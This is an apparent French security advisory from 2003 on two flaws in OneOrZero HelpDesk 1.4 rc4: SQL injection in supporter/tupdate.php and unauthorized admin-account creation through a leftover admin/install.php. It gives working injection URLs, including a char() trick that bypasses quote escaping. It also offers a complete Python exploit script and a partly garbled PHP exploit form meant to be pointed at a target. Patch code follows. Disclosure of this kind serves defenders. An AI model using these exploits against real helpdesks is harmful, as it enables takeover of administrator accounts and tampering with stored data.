OneOrZero HelpDesk ****************** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.oneorzero.com Version : 1.4 rc4 Problèmes : - Injection SQL - Accès Admin Developpement : °°°°°°°°°°°°°°° OneOrZero HelpDesk, est, comme le dit son nom, un helpdesk (litteralement "bureau d'aide"), c'est à dire un endroit où des utilisateurs peuvent poster des questions, et où on devrait leurs y répondre. Il inclut une zone membre et admin. Pour étudier les deux failles exposées ici, il faut connaître la structure de deux tables, qu'on peut trouver dans le fichier admin/install.php. La première, $mysql_users_table, la table où sont enregistrés les utilisateurs, est composée de (dans l'ordre, clef primaire en premier): id int(11), first_name varchar(60), last_name varchar(60), user_name varchar(60), email varchar(60), pager_email varchar(255), password varchar(255), office varchar(60), phone varchar(48), user int(1), supporter int(1), admin int(1), theme varchar(60), msn varchar(60), yahoo varchar(60), icq varchar(60), lastactive int(60), , language varchar(60), time_offset int(5). La table $mysql_tickets_table, elle, contenant les questions posées, est composée de (dans l'ordre aussi): id int(11), create_date int(60), groupid int(60), supporter varchar(48), supporter_id int(60), priority varchar(48), status varchar(48), user varchar(255), email varchar(255), office varchar(48), phone varchar(48), category varchar(48), platform varchar(48), short varchar(255), description text, update_log text, survey int(1), lastupdate int(60). La première faille est une faille d'injection SQL. Elle se trouve dans le fichier supporter/tupdate.php, qui est connecté à la base de données. Il n'y a pas besoin non plus d'être membre pour y arriver, sauf si l'administrateur en a décidé ansi. On peut y voir les lignes de code suivantes : -------------------------------------------------------------------------- if($groupid == 'change'){ $sql = "UPDATE $mysql_tickets_table set groupid=$sg where id=$id"; $result = $db->query($sql); } -------------------------------------------------------------------------- On peut donc modifier nous-même le groupid de n'importe quel 'ticket' dans la base de données. Mais aussi n'importe quel autre champ de la table $mysql_tickets_table, par exemple pour changer la description, il suffira de taper une url du type : http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,description='nouvelle%20description'&id=1 Ce qui executera comme requête SQL : --------------------------------------------------------------------------------------------- UPDATE $mysql_tickets_table set groupid=groupid,description='nouvelle description' where id=1 --------------------------------------------------------------------------------------------- et changera la description du ticket 1. Ce qui est particulierement interessant, c'est qu'on peut ici faire de l'injection sans utiliser les caractères ' ou " (ce qui pose problème avec la configuration par défaut de PHP qui les addslashes), grâce à aux fonctions MySQL comme char(). Par exemple l'url http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,user=char(97,98,99,100)&id=10 changera l'utilisateur qui a envoyé le ticket 10 en "abcd". L'autre faille ne se trouve pas partout, elle dépend du webmaster. OneOrZero contient une interface d'installation, dans admin/install.php. Hors le fichier ne se supprime pas quand l'installation est finie, et ne vérifie pas, dans la création d'un compte admin, si un compte admin a déjà été créé lors de l'installation ou pas. On trouve donc dans ce fichier le code suivant : ---------------------------------------------------------------------------------------------------------------------------- [...] if($step == 2){ echo "

"; start("Helpdesk Installation", "center"); if($HTTP_POST_VARS['first'] == ''){ showError("first name"); $flag = 1; } if($HTTP_POST_VARS['last'] == ''){ showError("last name"); $flag = 1; } if($HTTP_POST_VARS['user'] == ''){ showError("user name"); $flag = 1; } if($HTTP_POST_VARS['email'] == ''){ showError("email address"); $flag = 1; } if($HTTP_POST_VARS['pwd1'] == '' || $HTTP_POST_VARS['pwd2'] == ''){ showError("password"); $flag = 1; } if($HTTP_POST_VARS['office'] == ''){ showError("office"); $flag = 1; } if (!checkPwd($HTTP_POST_VARS['pwd1'], $HTTP_POST_VARS['pwd2'])){ showError("password"); $flag = 1; } if(!validEmail($HTTP_POST_VARS['email'])){ showError("email"); $flag = 1; } if($flag == 1){ endit(); exit; } [...] $pwd = md5($HTTP_POST_VARS['pwd1']); $query = "INSERT IGNORE into $mysql_users_table VALUES(NULL, '".$HTTP_POST_VARS['first']."', '".$HTTP_POST_VARS['last']."', '".$HTTP_POST_VARS['user']."', '".$HTTP_POST_VARS['email']."', '', '".$pwd."', '".$HTTP_POST_VARS['office']."', '".$HTTP_POST_VARS['phone']."', 1, 1, 1, 'default', null, null, null, 0, 'English', '0')"; $db->query($query); [...] ---------------------------------------------------------------------------------------------------------------------------- Ce code vérifie d'abord si toutes les informations sont remplies, si l'adresse e-mail est valable, et si le mot de passe est bien confirmé, puis insere dans la table $mysql_users_table le nouvel utilisateur en lui donnant les droits admin. Il est spécifié que les variables doivent venir d'un formulaire POST. Il y a donc plusieurs façon d'utiliser cette faille. La plus pratique est de créer un exploit PHP du style : ---------------------------------------------------------------------------------------------------------------------------- OneOrZero
Target :
http://
Directory/ies :

Port :

Password :

UserName :


Click Here To Log In. "; }else{ die("Administrator Account Hasn't Been Created."); } } ?>
---------------------------------------------------------------------------------------------------------------------------- Ce qui a en plus comme atout de donner comme ip au serveur victime celui du site sur lequel le fichier se trouve. J'ai fait le même un Python 2.2, pour m'amuser :p : -------------------------------------------------------------------------------------------------------------------------- import urlparse import httplib import string OneOrZero("http://www.target.com","80","NewUserName","NewPassword") class OneOrZero: def __init__(self,target,port,user,password): if port != "": self.port=str(port) else : self.port="80" self.path=str(urlparse.urlparse(target)[2]) self.target=str(urlparse.urlparse(target)[1]) self.user=str(user) self.password=str(password) self.USER_AGENT='OneOrZero.py' self.CreateAdminAccount() def CreateAdminAccount(self): data='step=2&first=admin&last=admin&user='+self.user+'&pwd1='+self.password+'&pwd2='+self.password+'&email=a@a.a&office=abcd' try : print "Connecting On "+self.target+"...\n" http=httplib.HTTP(self.target,self.port) print "Sending Data On "+self.target+"...\n" http.putrequest("POST",self.path+"/admin/install.php") http.putheader("Content-Type","application/x-www-form-urlencoded") http.putheader("User-Agent",self.USER_AGENT) http.putheader("Host",self.target) http.putheader("Content-Length",str(len(data))) http.endheaders() http.send(data) code,msg,headers = http.getreply() print "HTTP Code : ",str(code) print "HTTP Connection : ",msg print "HTTP headers : \n",headers,"\n" file=http.getfile() if string.find(file.read(),"Administrator Account Created Successfully.") != -1: print "Congratulations, Administrator Account Created Successfully." print "You Can Log In Here : http://"+self.target+self.path+"/admin/control.php" print "User : ",self.user print "Password : ",self.password else : print "Administrator Account Hasn't Been Created." except : print "Error During Admin Account Creation." -------------------------------------------------------------------------------------------------------------------------- La ligne à changer avant l'execution est bien sûr : OneOrZero("http://www.target.com","80","NewUserName","NewPassword") Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Dans supporter/tupdate.php, rajouter après les premières inclusions de fichiers, les lignes : ------------------------------------------------------------------------------------------------- foreach ($_REQUEST as $key=>$value) { if (get_magic_quotes_gpc()==0) { $value = addslashes($value); // This will reproduce the option magic_quotes_gpc=1 } $value = str_replace('(','()',$value); ${$key} = $value; $_REQUEST[$key] = $value; if (isset($_POST[$key])) { $_POST[$key] = $value; } if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; } if (isset($_FILE[$key])) { $_FILE[$key] = $value; } if (isset($_GET[$key])) { $_GET[$key] = $value; } if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; } if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = $value; } if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; } if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; } } ------------------------------------------------------------------------------------------------- Et dans admin/install.php, juste après la ligne : --------------- if($step == 2){ --------------- ajouter : --------------------------------------------------------------- $sql = "SELECT * FROM $mysql_users_table WHERE id > 0"; $result = $db->query($sql); $num_rows = $db->num_rows($result); if ($num_rows > 0){ die("OneOrZero Is Already Installed."); } --------------------------------------------------------------- Greetz : °°°°°°°° Charlie (http://www.n-picture.net) Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Websites : http://www.frog-man.org, http://www.phpsecure.info Date : 13/05/03